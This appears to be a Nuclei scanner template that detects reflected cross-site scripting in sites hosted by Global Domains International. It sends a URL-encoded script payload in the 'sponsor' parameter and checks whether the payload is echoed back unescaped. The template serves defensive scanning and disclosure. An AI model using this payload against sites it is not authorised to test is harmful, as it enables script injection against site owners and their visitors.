id: global-domains-xss

info:
  name: Global Domains International - Cross-Site Scripting
  author: princechaddha
  severity: high
  description: |
    Sites hosted by Global Domains International, Inc. have cross-site scripting and directory traversal vulnerabilities.
  reference:
    - https://cxsecurity.com/issue/WLB-2018020247
    - https://packetstormsecurity.com/files/126545/Global-Domains-International-Cross-Site-Scripting-Traversal.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: globaldomains,xss,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.dhtml?sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022054f2f0e350b8dcd33dc19af4022f3cf64b695e59397893c3eacf0b9ffb025a1c022100a8113db09b8768fe03226bcba7aa90215abc715a6fc8ee3f74ffb8738a778f10:922c64590222798bb761d5b6d8e72950